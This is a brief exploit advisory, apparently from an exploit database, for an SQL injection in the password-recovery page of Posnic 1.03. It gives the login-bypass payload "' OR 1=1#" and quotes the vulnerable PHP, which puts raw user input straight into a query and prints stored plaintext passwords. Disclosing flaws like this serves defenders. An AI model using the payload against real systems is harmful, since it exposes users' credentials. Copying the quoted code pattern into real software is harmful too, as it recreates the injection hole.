-------------------------------------------------------------------------
[+] Posnic 1.03 (forget_pass.php) Unauthorized Password Recovery
------------------------------------------------------------------------
[*] Discovered by Juri Gianni - Turin,Italy
[*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
[*] Discovered on 09/02/2017
[*] Site Vendor: http://www.posnic.com/
[*] Category: WebApp
[*] BUG: SQL Injection
--------------------------------------------------------------------------
--------------------------------------------------------------------------------------
[+] SQL Injection
# Go to posnic-1.03/forget_pass.php and insert: ' OR 1=1# as reply
# This happens because of forget_pass.php
----------------------------------------------------------------------------------------
Line 109
<?php if (isset($_POST['submit']) and isset($_POST['name'])){ ?>
<fieldset style="margin-left: 600px"><p><?php
$name = $_POST['name']; <--- variable not sanized {1}
$count = $db->queryUniqueValue("select sum(id) FROM stock_user where answer ='" . $name . "'"); <-- query
if ($count > 0){
$line = $db->queryUniqueObject("SELECT * FROM stock_user where answer ='" . $name . "'");
echo " User Name: <strong style=color:blue> $line->username </strong> <br><br>";
echo " Password: <strong style=color:blue> $line->password </strong> ";
?>
Line 119
--------------------------------------------------------------------------------------
------------------------------------------------------------------------
# 0day.today [2018-01-06] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation